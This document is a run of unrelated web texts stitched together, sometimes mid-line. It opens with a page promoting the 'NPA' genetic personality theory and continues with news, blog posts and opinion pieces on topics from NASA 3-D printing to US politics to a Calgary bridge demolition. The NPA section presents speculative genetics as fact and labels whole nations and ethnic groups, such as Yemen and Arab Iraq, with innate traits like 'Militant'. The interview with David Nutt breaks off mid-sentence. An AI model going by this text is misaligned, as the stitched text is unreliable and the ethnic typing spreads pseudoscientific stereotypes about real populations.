The model predicts infertility in parents of certain combinations of NPA types, namely in those couples who, because of their particular genetic types, are prone to conceive non-viable progeny totally lacking both traits N and A. Thus, a fetus lacking expression of both traits N and A would not survive intrauterine life (appearing as miscarriage or stillbirth) or would "fail to thrive" in early infancy. Infertility on this basis could be partial or complete, depending on the exact NPA genotypes of the parents.
The basis of infertility inherent in the NPA model was found to be the same as that of the classic Dobzhansky-Muller model of hybrid inviability based on two interacting "complementary genes".
Genetics and complexities
The NPA character traits are discrete traits that are genetically determined, much like an individual's gender (male or female) is genetically determined. But there are many other aspects, both genetic and environmental, that impinge on personality, or how one behaves in social circumstances. Among these are basic drives (hunger, thirst, sex, territoriality), cognition (thinking, learning, reasoning, intelligence), temperament (the natural activity or excitability of an individual), as well as other less clearly defined human traits, like empathy and altruism. Environmental variables like nurture, culture and the individual's real-life situation provide another overlay of complexity. Our model implies that the male-female dichotomy and the NPA genetic traits would be more basic than these other aspects of personality, hence that other approaches to personality that ignore the three primary genetic traits are deficient.
The mode of genetic transmission of the NPA traits has not yet been verified. In some archetypal families, traits N and A appeared to be transmitted as Mendelian recessive, while trait P appeared to be Mendelian dominant. This leads to the important insight that the genetic loci for traits N and A likely code for inhibitors of the traits. For trait A, the model implies that whatever the complexity of the many possible genes that permit the expression and modulation of the trait of aggression, it is a single genetic locus (the A locus of the NPA model) that permits inhibition of the final common pathway to expression of the A trait and A rage, permitting the occurrence of the non-aggressive N and NP types of the model. For trait N, the model implies that whatever the complexity of the genes that permit the expression and modulation of the trait of sanguinity, it is a single genetic locus (the N locus) that permits inhibition of the final common pathway to expression of the N trait and N rage, permitting the occurrence of the non-sanguine A and PA types.
However, the exact genetic basis of the traits is not important with regard to understanding the model. Experience in other areas of genetics provides a guarantee that the fine details of the expression of the NPA traits will turn out to be complex.
Implications of having a genetically determined character profile
From the point of view of the individual there are important implications of being somewhat constrained by genetically determined personality traits, but "genetic determinism" is not one of them. Humans are cognitive beings, and we do have an element of free will: although we cannot change our gender or our genetically determined character type, we can certainly modify our behavior. For some discussion of the possible implications of the NPA model, see our book: NPA Theory of Personality (reference below).
Terminology
The terminology dealing with personality and behavioral disorders -- including that used by Karen Horney -- has always been highly pejorative, an important issue that has not been addressed by the psychiatric community. Our approach regarding the descriptions of the character types was intentionally to use hyperbolic language and to the label the descriptions as "caricatures". Please do not be quick to be offended if some aspects of behavior are described as "passive aggressive", or "submissive", or "narcissistic", and so forth. The terms do not necessarily imply any kind of extreme behavior. No character type is presented as "better" than any other, and there are successes and failures, saints and sinners, in all of the categories of the NPA model.
Population Genetics
If, as we posit, the NPA traits are genetically determined, then it should be possible to determine their geographical distributions. Geographically, the N and A traits are partially "entangled" in the sense that if one of the traits is absent, then the other must be present. As a start, we have estimated the geographical distribution of the different NPA types from available sources (see our habitancy map ).
We define a particular habitancy as a subpopulation having a certain distribution of NPA types. For ease of communication we define the following habitancies:
Polymorphic –– no tendency to any particular NPA character type
Sublime –– tending to N type (sanguine)
Punctilious ––... NP type (sanguine)
Corybantic ––... NA type (sanguine)
Demonstrative ––... NPA type (sanguine)
Authoritarian ––... PA type (non-sanguine)
Militant ––... A type (non-sanguine)
Introspective ––... NPA– type (sanguine)
Acquiescent ––... NA– type (sanguine)
The Authoritarian and Militant habitancies have mainly non-sanguine types; the other habitancies have a preponderance of sanguine types. Examples:
Polymorphic: USA, UK, Australia, South Africa
Sublime: Polynesian Islands, East Africa, Mongolia, areas of southern Asia
Punctilious: Northern Italy, Switzerland, Germany, areas of Scandinavia and China, Korea, Taiwan, indigenous Yucatan & Arctic, USA Midwest
Corybantic: Brazil, Argentina, West Africa, indigenous tribes in New Guinea & Australia, Melanesia
Demonstrative: Southern Italy, France, Colombia, Northern Iran
Authoritarian: Western Russia, Eastern Europe, Serbia, Saudi Arabia
Militant: areas of Mideast: Yemen: Arab region of Iraq
Introspective/Acquiescent: Finland, Scotland, New Zealand, Tasmania
The NPA model has the advantage of having at its disposal well-established quantitative techniques for the analysis of populations obeying the laws of Mendelian genetics. In particular, we have applied the Hardy-Weinberg approach to the various habitancies: 1) to estimate relative prevalences of the NPA phenotypes on the basis of assumed gene frequencies, and 2) to estimate the frequency of the occurrence of non-viable progeny inherent in the NPA model (Dobzhansky-Muller infertility). For details, see our Book reference below.
The NPA personality test
If you are interested in the theory and have not yet delved much into the NPA model, then we would encourage you to take the NPA test before reading the character caricatures.
Note that "personality tests" are not hard science, as there is a myriad of factors that can influence how a particular individual answers the questions. Such tests are used because more scientific tests are not yet available. However, the results of such a test may provide insight into an individual's personality traits. In addition, the results for subjects reporting behavioral disorders may be used to generate hypotheses that could eventually be subject to genetic testing. You can help by submitting your test and indicating any condition that you have that might be relevant. A drop-down list of common conditions (not all of them diseases) is included at the bottom of the test sheet.
Photo quiz
Can you identify the eight individuals, and their NPA character types, in the photo lineup at the head of this page? (See answers at bottom)
Sites and Files
Publications
Benis A.M. A theory of personality traits leads to a genetic model for borderline types and schizophrenia. Speculations in Science & Technology 1990;13(3):167-75.
Benis A.M. and Hobgood D.K. Dopamine receptor DRD3 codes for trait aggression as Mendelian recessive. Medical Hypotheses 2011;77(6):1108-10.
Benis A.M. Survey of personality traits of perfectionism and inhibition of aggression in Australian Aborigines by use of internet sources, 2016. [unpublished pdf file]
Books
Benis A.M. (2008, 2017). NPA Theory of Personality. Second edition. Originally published as: Toward Self & Sanity: On the genetic origins of the human character, Psychological Dimensions Press, New York,1985.
Benis A.M. (2018). Genetic Entanglement of the Personality Traits of Sanguinity and Aggression in Case-Control Studies. KDP/Amazon, ISBN 978-1790890545.
Benis A.M. (2018). The Enigma of Short Parents Who Have Tall Children. KDP/Amazon, ISBN 978-1983050138.
Benis A.M. (2017). NPA Personality Theory in Images. KDP/Amazon, ISBN 978-1521791448.
Benis A.M. (2017). Caricatures of the NPA Personality Types. KDP/Amazon. ISBN 978-152096697.
Benis A.M. (2017). Geographic Distribution of Genetic Character Traits Based on the NPA Theory of Personality. KDP/Amazon, ISBN 978-1520430317.
Doctor Bee, MD (2017). Breaking the Itch-Scratch Cycle of Eczema by Behavior Modification. KDP/Amazon, ISBN 978-1520725086.
Videos
Message Board
Answer to photo quiz:
Marilyn Monroe, N / Benjamin Netanyahu, PA / Maria Callas, NA / Abraham Lincoln, NP / Vladimir Putin, A / Mikhail Gorbachev, NPA / Prince Charles, NPA– / Jane Fonda, NA–Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
July 18, 2013, 4:14 PM GMT By Miriam Kramer
Task lead Tyler Hickman, in red shirt, and technicians inspect the 3-D-printed rocket injector assembly as it’s installed in the Rocket Combustion Laboratory at NASA’s Glenn Research Center. NASA Glenn Research Center
A 3-D-printed rocket engine injector has passed a major NASA test, potentially heralding a new age of propulsion-system manufacturing, space agency officials say.
NASA and Florida-based company Aerojet Rocketdyne put the injector — which was built using 3-D printing (also called "additive manufacturing") technology — through a series of hot-fire trials, agency officials announced last week.
"Hot-fire-testing the injector as part of a rocket engine is a significant accomplishment in maturing additive manufacturing for use in rocket engines," Carol Tolbert, manager of the Manufacturing Innovation Project at NASA's Glenn Research Center in Cleveland, Ohio, where the tests were conducted, said in a statement. [10 Amazing 3-D-Printed Objects]
"These successful tests let us know that we are ready to move on to demonstrate the feasibility of developing full-size, additively manufactured parts," Tolbert added.
Aerojet Rocketdyne crafted the engine injector using high-powered lasers that liquefied and fused metallic powders into the proper structure.
Rocket engine injectors typically take a year or more to build. Employing 3-D printing technology can reduce this to less than four months while also cutting costs by 70 percent, NASA officials said.
"NASA recognizes that on Earth and potentially in space, additive manufacturing can be game-changing for new mission opportunities, significantly reducing production time and cost by 'printing' tools, engine parts or even entire spacecraft," Michael Gazarik, NASA's associate administrator for space technology in Washington, D.C., said in a statement.
"3-D manufacturing offers opportunities to optimize the fit, form and delivery systems of materials that will enable our space missions while directly benefiting American businesses here on Earth," he added.
NASA's interest in 3-D printing appears to be strong and growing. For example, the space agency is partnering with California company Made in Space to send a 3-D printer to the International Space Station next year.
And NASA recently funded the development of a prototype "3-D pizza printer" that could help feed astronauts on long space journeys, such as the 500-day trek to Mars.
3-D printing has been used to craft certain rocket parts before, but usually this form of manufacturing is employed to build less critical components of the complex machines, Aerojet Rocketdyne additive manufacturing program manager Jeff Haynes said.
"The injector is the heart of a rocket engine and represents a large portion of the resulting cost of these systems," Haynes said in a statement. "Today, we have the results of a fully additive manufactured rocket injector with a demonstration in a relevant environment."
Follow Miriam Kramer @mirikramer and Google+. Follow us @Spacedotcom, Facebook and Google+. Original article on SPACE.com.A Salvador Dali sculpture valued at $2.5-million has been vandalized while on display outside Quebec City's Château Frontenac.
Called Alice in Wonderland, the 4.5-metre-high bronze statue has been on display on the Dufferin terrace outside the hotel in Quebec City's old town for the past month to mark the 25th anniversary of the Château Frontenac's art gallery.
A staff that stands in front of the sculpture's central figure was broken off sometime overnight on Monday.
Sylvain Fortier, director of the Château Frontenac art gallery, said the bronze is very thick and there's no way this could have been an accident.
"I never would have believed that an immense bronze sculpture valued at $2.5 million and measuring 4.5 metres that's touring the world would be a target for vandals," he said.
Chateau Frontenac gallery director Sylvain Fortier said the bronze is too thick to have been accidentally broken off. (Radio-Canada)
Fortier said he's worried about the message it sends about Quebec City.
"It suggests we have no respect for the work of a great creator. It makes me very sad," he said.
The damage is repairable, he said, and the staff will be soldered back for now.
Prior to the incident, people had been climbing on the sculpture, which led to a barrier being erected around it.
Police are investigating.Axios reports that Barack Obama gave his last interview to Pod Save America. He recalls his experience with the trillion dollar platinum coin – the idea invented by Carlos Mucha. When he was asked, “When were you most scared in the White House, what was your scariest moment” he said it was the debt ceiling crisis on 2013:
There were all kinds of wacky ideas about how potentially you could have this massive coin I mean… it was like some primitive — it was like out of the stone age or something. And I pictured rolling in some coin … It gets pretty technical, but there was this theory that I had the authority to just issue … through the mint… this massive trillion dollar coin… and that on that basis we could try to pay off our U.S. treasuries. … It was a very realistic possibility that we couldn’t get the votes for that and that we couldn’t get those debts rolled over … and at that point you were in uncharted territory.
The audio mp3 file is available here and the above discussion starts around 27m00s
Of course the President was misinformed because the coin needn’t be “massive”. But it’s nice to know that he seriously considered this possibility.Back in 2009 Alessandro Sivieri worked on a GSoC project to create a new way of saving and opening files – the semantic way. Sadly we never finished his work by integrating it into Nepomuk properly. I, however, still think that his approach was sound. The problems back then were some missing features, performance, and a rough GUI.
I thought about trying it again for a long while, mostly because I simply want semantic saving. Today I finally sat down and created a mockup of the Smart Save Dialog 2.0. Here goes:
The idea is simple: instead of choosing the folder you want to save in (yeah, yeah, there is still the possibility to select the folder anyway) you define information and relations around the document. This includes an optional title and description (could be pre-filled by the application in the future), a document type (Here a type is neither a mime-type like pdf or an NFO type like nfo:PaginatedTextDocument but rather a real-world type like contract, invoice, paper, thesis, and so on. The idea is to let the user define new types and maybe even share those types with others.), and a set of additional annotations. The latter can be anything, starting with simple relations to projects or people but can also be literal properties (this is where I aim to revive my nepomukannotation framework by solving its performance issues).
Anyway, I created the mockup and did not want to let it go to waste. Thus, I blog about it. Maybe some of you have ideas on how to improve the dialog. But please no questions about how to disable Nepomuk or how you do not want such a feature!
AdvertisementsWASHINGTON — President Trump couldn’t close the deal — not even within his own party, not even with Republicans in full control of the White House and Congress, not even on something the GOP vowed in every election since 2010: repealing and replacing Obamacare.
Long on promises and short on votes from their majority, Republican leaders of the House of Representatives abruptly scrapped a scheduled 3:30 p.m. vote Friday on the American Health Care Act (AHCA) in what amounted to the first major legislative defeat of Trump’s young presidency.
It was unclear what the AHCA’s collapse would mean, if anything, for Trump’s other big congressional priorities, like overhauling the tax code, revamping the nation’s infrastructure and pursuing changes to immigration law. But it showed that while Republicans enjoy a 44-seat advantage in the House and four-seat margin in the Senate, the notion of unified GOP control of Washington was always an illusion.
“We will probably start going very, very strongly for the big tax cuts and tax reform — that will be next,” Trump told reporters shortly after the announcement. And the president took pains to praise Republican House Speaker Paul Ryan, whose help he’ll need for his other ambitious legislative projects.
“I like Speaker Ryan. He worked very hard,” he said.
The setback dented Trump’s “Art of The Deal” mystique, a central part of his appeal in the 2016 campaign. “Nobody knows the system better than me,” he declared in his Republican convention keynote speech last summer. “Which is why I alone can fix it.”
That bravado gave way a bit in late February, when Trump declared that “nobody knew health care could be so complicated.”
President Trump earlier in the day Friday. (Photo: Carlos Barria/Reuters) More
Whatever the policy and political reasons for the AHCA’s demise, the defeat was an intensely personal one for the president. It came after he met repeatedly with scores of wary House Republicans, discussed the proposal on the phone with them, sent top aides, including Vice President Mike Pence, to win them over and (of course) prodded them over Twitter.
The irony is that the Freedom Caucus, which is very pro-life and against Planned Parenthood, allows P.P. to continue if they stop this plan! — Donald J. Trump (@realDonaldTrump) March 24, 2017
“We came really close today, but we came up short,” Ryan told reporters after the canceled vote. “Moving from an opposition party to a governing party comes with growing pains. And well, we’re feeling those growing pains today.”
Trump, who told reporters that the GOP bill ultimately fell 10 to 15 votes short, had tried to sweeten the pot by green-lighting changes to the legislation. He threatened insurgent GOP lawmakers with the prospect of losses in 2018 primaries if they did not fall in line. He bluntly warned them not to squander what he characterized as their best shot at repealing Barack Obama’s signature domestic policy achievement. Top aides fanned out on regional media and prowled the halls of Congress for converts.
“Has he done every single thing? Has he pulled out every stop? Has he called every member? Has he tweaked every tweak? Has he done every single thing he can possibly and used every minute of every day that’s possible to get this thing through?” White House press secretary Sean Spicer asked Friday at this daily briefing for reporters. “The answer is yes.”
But, Spicer said, “at the end of the day, this isn’t a dictatorship.”
Still, the campaign sometimes felt rushed — especially in contrast to Obama’s months-long drive for the Affordable Care Act, with its scores of hearings, public debates with Republican leaders, and a speech to a joint meeting of Congress. The White House and Republican leaders, seeking a symbolic show of political force, initially raced to hold the vote on Thursday, the anniversary of Obama’s signing of his project into law. “That was f***ing cart-before-the-horse hubris,” an aide to a Republican senator told Yahoo News.Photo by Benjamin Shapiro
This article originally appeared on VICE Sweden
After LSD became illegal in many countries in the late 1960s, scientific research into its potential benefits to mental health largely stalled. It's only recently that this topic has become subject to larger scale studies again. That is partly thanks to Professor David Nutt, who has devoted his career to researching the medical benefits of psychedelic drugs. He's published over 400 original research papers, 27 books and eight government reports on the subject, and is also working on a synthetic booze that aims to reduce hangovers.
He performs his research with the Beckley Foundation, a British NGO founded in 1998 by Amanda Fielding. The focus of his study is how LSD and psilocybin (i.e. magic mushrooms) could function as treatment for issues like depression and addiction. Unsurprisingly, Nutt has repeatedly found himself in media shit-storms because of his work. In 2009 he was sacked as the British government's chief drug adviser after publicly stating that ecstasy and LSD are less dangerous than alcohol. A few years later, Nutt suggested the cause of the financial crisis had been the coke habit of bankers.
Last month, Professor Nutt was invited by the Swedish Network for Psychedelic Science to host a lecture titled "The New Psychedelic Revolution in Psychiatric Medicine" at Karolinska Institutet in Solna. The following morning I sat down with him to discuss the future of psychedelics as medical treatments.
Professor David Nutt in Stockholm. Photo by the author
VICE: Can psychedelics trigger the creative part of the brain?
Professor David Nutt: Psychedelics change all kinds of different dimensions of your brain – the aspects that influence you visually, spiritually, and what helps you make sense of your life. I don't think that psychedelics can turn us all into Picassos, but they can make you see that there are different ways of thinking and might help you solve some issues.
What about chronic pain?
I'm trying to encourage pain researchers to study the effect of psychedelics. I think LSD could be the next revolution in pain therapy. The brain processes of chronic pain are very similar to the process of depression, so I think LSD should to be studied for its effect on chronic pain.
If we started treating people for addiction or depression with psychedelics, how do you think that would work, practically?
I imagine that you'd come to a clinic to get your treatment – a single dose therapy that would give you a profound change lasting for months. And if addicted people relapse, they might need to take it again. With depression, people can see how long they can go without feeling anxious and when the depression starts to creep up again, they would come back in, too.
You can use psychedelics repeatedly, but the effect wears off. You build tolerance for it, even if you increase the dosage. We're not sure why, but it's one of the reasons it's not addictive. It's not something people start craving, like cocaine.
READ: This Scientist Has Invented a Synthetic Booze That Will End Hangovers and Alcohol-Related Deaths
These drugs have been banned for so long, how difficult will it be to convince the world that they work as a medical treatment?
We're not talking about about magic here, or a bunch of hippies having some fun. We have the science behind how psychedelics work. The only reason people don't want them as a medical treatment is because they don |
groups in the transition to peace.
The United Nations, as well as Colombian and international media, applauded this approach. However, some segments of Colombia oppose the gender provisions of the peace accords – especially statements referring to LGBTI groups.
At the same time that peace was being negotiated, the Colombian government released a new manual for teachers in public schools, with education material designed to help prevent discrimination and bullying against lesbian and gay students. Former Colombian President and current Senator Álvaro Uribe – not coincidentally, the leader of the opposition to the peace accords — actively opposed these measures. His supporters critiqued Minister of Education Gina Parody, who is openly lesbian, for the curricular reform.
Uribe’s followers coupled these developments with peace-accord provisions that protect people of “diverse sexual orientations and identities.” The uribistas campaigned against what they framed as attempts to promote a “confused gender ideology.” As anthropologist Winifred Tate writes, pamphlets promoting the No campaign read, “Colombia is in danger! Of falling under the control of a communist dictatorship and the imminent passage of a gender ideology.”
[Colombia’s right-wing populist movement defeated the peace accord. Here’s what we know.]
A new group is fighting for “God’s original design” of gender identity and the family
The emerging National Movement of the Family describes itself as “neither political nor religious.” However, its mission statement says that its objective is to “fight in favor of God’s original design for the family and thus for the moral bases that allow us to construct our society.”
Uribe, in his social media, echoed such views, “Saying that one is not born female or male, but that this is defined by ‘society,’ is an abuse of minors, a disrespect of nature and of the family.”
These views argue against extensive feminist scholarship that investigates how gender identities, relationships, and ideas of what is natural are, in fact, social creations. Political scientist Cynthia Enloe suggests “anything that is labeled ‘natural’ is something you are being encouraged not to explain.”
Enloe argues for paying attention to “how anything that passes for natural, inevitable, inherent, traditional or biological has been made … from masculinized peace negotiations, to the romantic marriage, to the all-male Joint Chiefs of Staff.” The point is that ‘natural’ gender identities, roles, and relationships, in fact, require effort and power to maintain.
“Traditional family” ideals also do not help reintegration of former combatants.
As Kimberly Theidon’s research in Colombia shows, programs that have been designed to help ease former combatants’ transitions back to civilian life have been failing –in no small part because real people don’t fit neatly into the narrow categories of “traditional” family structures.
For example, female former guerilla members express concern about expectations to be “more domestic, more feminine” in civilian life than in the FARC – particularly when guerilla life purports to offer some of them gender equality. And yet, the “traditional family” forces are wielding family concepts to challenge the approach to gender identity and relationships that the peace accords lay out.
[How can Colombia stop former FARC rebels from turning to crime? The leaders are key.]
It’s important to avoid treating religious groups as having just one “traditional” point of view
Colombia’s religious groups have been powerful actors in the post-plebiscite conversation. Journalist Natalio Cosoy reports that Edgar Castaño, the President of the Evangelican Confederation in Colombia, said that he worried about how the accords’ gender perspective – specifically the LGBTQ provisions – may “infringe upon some evangelical principles.”
He further quotes Castaño as saying that before the vote, President Santos assured him that “we will throw out all that threatens the family, that threatens the church, and we will look for a phrase, a word, that does not create fear in the believers.”
But these are not the only views of churches in Colombia. As Kimberly Theidon’s research in Colombia shows, some pastors try to help parishioners reimagine masculinity during transitions from violence. In Turbo, Colombia in 2013, a pastor said in his sermon:
What did you do as you prepared for church today? Were you so busy getting ready that you left feeding the children to your wife? Did you help make the breakfast? Wash some of the dishes? Dress the children? If not, then you are not living the Word.
On the ground, in other words, some religious leaders and communities may see gender in more nuanced ways than is portrayed in the narrative of religious opposition to the gendered peace accords.
Gender may be disappearing from view. That’s a problem.
The formal Colombian peace negotiations were held in Havana, and included those recognized as victims of the conflict, women’s organizations, and female ex-combatants, among others. Now these groups seem to be fading from view.
Law professor Fionnuala ni Aolain’s work on gender and political settlements finds that when peace processes simply “add women and stir,” meaningful gains may be few. After a peace agreement, promises to take women’s concerns seriously often remain just that: promises, unfunded and ignored.
Could that be happening in Colombia now, post-plebiscite? Over the past few days, Uribe has been meeting with Santos. In the ongoing coverage of these talks, there has yet been no mention of bringing in the civil society groups that helped keep gender concerns part of the formal peace process.
Research by the Institute for Inclusive Security highlights seven “myths standing in the way of women waging peace.” These myths include the idea that “women’s issues can wait until later,” after the urgency of halting war has passed. Another is the idea that “women’s issues are discrete, separable topics” that can be added or dropped without broader consequences. That may limit the creation of an inclusive peace.
Roxanne Krystalli is a researcher on gender, violence, and transitional justice, and a PhD Candidate at The Fletcher School of Law and Diplomacy. Find her on Twitter at @rkrystalli.
Kimberly Theidon is the Henry J. Leir Professor of International Humanitarian Studies at The Fletcher School. Find her on Twitter at @KimberlyTheidon.How pathetic is this?
They try to make it sound so wonderful — after years (likely decades) and many hundreds of thousands of dollars, the big news is the “excitement” of doing the Purif and SRD over again. And then, the “wins” of redoing the Student Hat and “the Basics”.
Apparently, the pinnacle of scientology today is the bottom of the Bridge.
The PhD’s of scientology are promoting the “wins” of going back and redoing Primary School as if they are so much more important now that they have attained the highest available levels.
It used to be that the “prerequisites” for each OT level was the OT level before…. But then after OT VIII was released in 1988 (?) and there was no OT IX and X, after a while “new” prerequisites had to be invented. First it was all orgs to SH Size. Then it was all OT VIII’s had to be Class VI’s. And all orgs had to be “ideal.” And then Basics. And then Purif and Objectives. Now Student Hat.
Pretty soon they will be required to do the Dianetics Seminar and all Life Improvement Courses.
And finally, they will be required to return to “wog” and have their “ruin” found after attending an Intro lecture.
This is the “golden age” of scientology.
What a con….India has made an impressive leap in its logistics performance in the last two years. The latest Logistics Performance Index (LPI) report released by the World Bank is a testament to that.
India improved its ranking from 54 in 2014 to 35 this year (2016). The LPI report is published every two years. This time, it compared 160 countries.
LPI is an interactive benchmarking tool created to help countries identify the challenges and opportunities they face in their performance on trade logistics and what they can do to improve their performance.
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World Bank surveys operators (global freight forwarders and express carriers) working on the ground and asks them the logistics-friendliness of the countries in which they operate and those with which they trade. Their feedback in addition to quantitative data on the performance of key components of the logistics chain help determine the rankings in the LPI index.
The World Bank report notes that the capacity of developing countries to efficiently move goods and connect manufacturers and consumers with international markets is improving; however, it also says that much more needs to be done to close the performance gap in supply chains in these countries.
India’s score went up from 3.08 to 3.42. Germany tops the rankings with a score of 4.23. It is followed by Luxembourg, Sweden, Netherlands and Singapore. The US, with a score of 3.99, stands at 10th. China is at 27th with a score of 3.66.
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If India keeps the same pace of improvement, it should overtake China by 2018.Fulham’s performance against Wolves on Friday was a limp display which basically summed up the feelings of discomfort surrounding the club after the backroom unrest which dominated the headlines at the club over the past week.
The boys take apart a thoroughly disappointing trip up to the Black Country, and talk about whether Fulham’s lack of heart and spirit is the fault of the management or the turmoil behind the scenes.
There’s also a full discussion of what happens next after what we’re now calling ‘Klinegate’ and a defence of how analytics can work if they’re wielded in conjunction with real footballing knowledge, and by the right personnel.
As always, there’s time for your questions and we try and give a full round-up and analysis of the events that have rocked the FFC world.
Whilst we have your interest piqued, make sure that you’ve given us a follow across all the social channels – Instagram, Facebook and Twitter. If you’re interested in getting involved, hit us up at [email protected].
Fulhamish is backed for the season by Ladbrokes, and as a special offer for our loyal fanbase, you can Bet £5, Get £20 right now at bet.fulhamish.co.uk
Podcast Guests: Jack Collins, Ben Jarman, Dom Betts
Hosted by: Sammy JamesIn the illustrious words of Amy Winehouse, "What kind of fuckery is this?"
Early last year, news broke that white actor Joseph Fiennes would be portraying Michael Jackson in a British television dramedy called Elizabeth, Michael and Marlon, about three celebrities escaping from New York City during 9/11. Needless to say, people were quite confused, and rightfully so. Even with the outrage that was expressed, Fiennes, of course, felt there shouldn't be any objection to his portraying Jackson.
“[Jackson] definitely had an issue—a pigmentation issue—and that’s something I do believe,” Fiennes said in January 2016. “He was probably closer to my color than his original color.”
The crazy thing about the series is not only that it involves an urban legend about Elizabeth Taylor, Jackson and Marlon Brando escaping New York City during 9/11, but that Fiennes didn't see anything wrong with the role.
“It’s important because all actors bring something fresh and new. We’re looking for imagination and interpretation, and it doesn’t steal anything away from the true identity of that person. It might offer something new and fresh and funny, as long as it doesn’t become disenfranchising, racial, or rude or stereotypical,” he said.
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But when you take a good look at Fiennes as Jackson, there's a lot wrong:
To recap:
Fiennes is a white man, born to a white man and woman.
Michael Jackson was a black man, born to a black man and woman.
Colorblind casting doesn't work when it comes to real-life people. One has to wonder why a black woman wasn't cast as Elizabeth Taylor if the creators of the show wanted to be so original about it.
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Jackson, a person who went through a lot of aesthetic changes, also asserted that he was a black person and would never want a white person playing him. In an interview with Oprah Winfrey from 1993, Jackson spoke about the topic when rumors surfaced that a white child would play him in a commercial.
“It’s my face as a child in the commercial,” Jackson said. “Me when I was little. Why would I want a white child to play me? I’m a black American. I’m a black American. I’m proud to be a black American. I am proud of my race. I am proud of who I am. That’s like you [Oprah] wanting an Oriental person to play you as a child. Does that make sense?”
In any event, thank your lucky stars this isn't on American television.The opinions expressed by columnists are their own and do not represent the views of Townhall.com.
The Republican National Convention will not have a clear winner in July.
There will be floor fights. There will be blood, perhaps.
But at the end of the convention, someone is going to be drinking someone else’s milkshake.
Deal with it.
Of course, the vain-scream media will go on about the impending demise of the Republican Party, for the fourth time this week in this month. The destruction of the conservative movement, coupled with the propping up and promotion of every illiberal cause under the sun, is the clear and convincing modus operandi of the press.
They finally stopped trying to hide their eminent disdain for Republicans. Of course, none of this matters.
Republicans faced a contested convention in 1976. The campaigns up to the eleventh hour did not make or break the Republican Party then, and they were not responsible for incumbent appointed President Gerald Ford’s unsettling loss later than year. Let’s not forget that the national nightmare had ended two years prior, with the first resignation of America’s chief executive ever.
Ford did the unpopular—yet principled thing—in the long run, pardoned Richard Nixon. The Republican brand was hurting badly. Conservatives were trying to bring fiscal restraint back into play. Former Governor Ronald Reagan had pushed a strong primary game. Then he took on a pro-union liberal Republican as running mate, and solidified Ford’s nomination—and nominal victory.
Twenty plus years before that, Republicans had another brokered convention, with the final battle between Dwight D. Eisenhower and Robert Taft. Despite the ruminations of the press dissecting Republican conflicts and losses, the convention was an open, heated process. The delegates ended up liking Ike, and so did the rest of the country in 1952 and 1956. A consummate general and fiscal conservative, Eisenhower sparked a conservative revolution in his own right.
So, Republicans and conservative-leaning Independents and Democrats (yes, they are out there, and growing) should not fear a brokered GOP convention.
In fact, I say “Go for brokered!” since 17 candidates, all qualified and well-connected, had launched their respective bids. Even the weakest or most implausible of the bunch would serve as better commanders-in-chief than four more years of failed Obamanomics and Apology Tour foreign policies.
I am not a bit worried about a brokered convention. Not one bit.
Whoever takes the nomination will be taking back the Republic from the evil empire of special interests, cultural cronyism, and the Big Business-Big Labor phalanx, which has been looking out for itself and at the expense of the law-abiding American body politick.
Yes, even Donald Trump would suffice as the standard-bearer, however below the standard he may fall for conservatives across the country.
And yet …
Trump, the supposedly-inevitable nominee, is stalling in the middle of the primary cycle. On the Democratic side, so is Hillary Clinton, to everyone’s amazement.
What’s wrong, Donald? I thought you had mastered the art of the deal? He has not shown himself to be much of a winner over the last series of primary contests.
He lost Wisconsin, and he will lose Indiana. If Cruz connects with the conservative grassroots in Upstate New York, and Kasich makes his case to a plurality of voters in liberal, urban regions, Cruz keeps Trump from a Big Apple sweep and ensures a convention fight.
The Donald, the one who hates losers, has turned into quite the whiner.
For the past week, he exclaims that the convention rules, the RNC, anyone who has done better than he this far is stacking the deck against him.
Let’s take Colorado.
The Trumpsters all over the blogosphere have fired at the Republican Party leaders in the Colorful State. Allegations of backroom deals and outright denials of the right to vote are dragging down the outcome. Now let’s consider those who have won elections there. Cory Gardner, the junior U.S. Senator from Colorado, set the record straight. The rules were laid out well in advance for all candidates to learn and follow. The right ground game and organization would have benefitted any candidate who took the time to reach out and work the different delegations to get the delegates. Why? The state GOP decided to reorganize their primary process to better ensure their influence in the nomination process.
Lo and behold, Lyin-in-wait Ted Cruz followed the rules, and swept the Colorado representatives. He is working hard to line up potential second ballot supporters in other states, too. It’s called “working.” It’s called “the art of making the deal when you know how to play.” Gardner offered two pithy insights of his own: a dark-horse Darryl Glenn, U.S. Senate candidate to replace Michael Bennett, leapt into the top spot, followed by two others. The well-monied Colorado establishment picks tanked. Oh, Gardner also pointed out the following: if a presidential candidate cannot navigate the simple delegate rules for one state convention, what makes anyone think he can lead an army or develop a plan for a balanced budget?
Gardner is worth listening to. His operations halted the left-wing takeover of his state, and his ongoing efforts will ensure blue Colorado goes to purple and red again.
As for Donald Trump: Sorry, Mr. Apprentice, but you’re fired! After the Colorado conniption, one California conservative told me that he now supports Cruz. Why? Donald’s Trumper-tantrum. Boo hoo!
The same Ted Cruz pattern of strategy and direct targeting worked in his favor again at the end of the week, this time in Wyoming. Major conservative sites outlined that Trump was all but giving up those delegates, anyway.
A brokered convention is coming, Republicans. Why should anyone be surprised? It’s not as if any one candidate has scored a decisive majority of delegates, or ever could with the large crowd and diverse body of Republicans in play.
In the meantime, two old, white socialists are climbing over each other for the Democratic nomination, and one of them will lose the other’s voting bloc in the general. Republicans are going for brokered, but the Democrats will be broke—and broken—come November.Don’t take Crowchild Trail S.W. this weekend.
That’s the message from city officials as they prepare to demolish the Flanders Avenue bridge beginning Friday evening. The bridge needs to be demolished to make way for a major new interchange.
Here’s what you should know:
Major road closure
Crowchild Trail will be completely closed in both directions at Flanders Avenue S.W. from Friday at 7 p.m. to 6 a.m. Tuesday, said transportation spokeswoman Emma Stevens. One lane of traffic will be allowed through in each direction using the exit ramps, but it’ll get pretty crowded, she added. Stevens advised taking any other north-south route such as Macleod Trail or Sarcee Trail and to avoid Crowchild Trail between 33rd Avenue and 50th Avenue S.W.
“We’re expecting a lot of congestion on Crowchild at (Flanders Avenue) if people are trying to use that lane,” Stevens said.
Traffic and touchdowns
The Calgary Stampeders host the Edmonton Eskimos in the Labour Day Classic on Monday. Crowchild Trail is the most direct route to McMahon Stadium for those coming to the game from the south.
“It’s unfortunate, but fans are going to have to deal with it,” said Stampeders president Gord Norrie. “Either take alternate routes, transit, or come early and deal with the (traffic).”
“It’ll make it easier for everyone,” he added.
Heavy lifting
Crews will knock down about 500 tonnes of concrete and rebar over the weekend. Flanders Bridge, constructed in 1991, was cast in a single plate, meaning the entire bridge is one piece of concrete, Stevens explained.
“This one has to be demolished all at once,” she said.
Four excavators will be on site chipping away at the bridge from different angles, letting the concrete fall and then carrying it away for recycling in 40 to 50 truckloads. The metal parts of the bridge alone will fill six to eight large recycling bins.
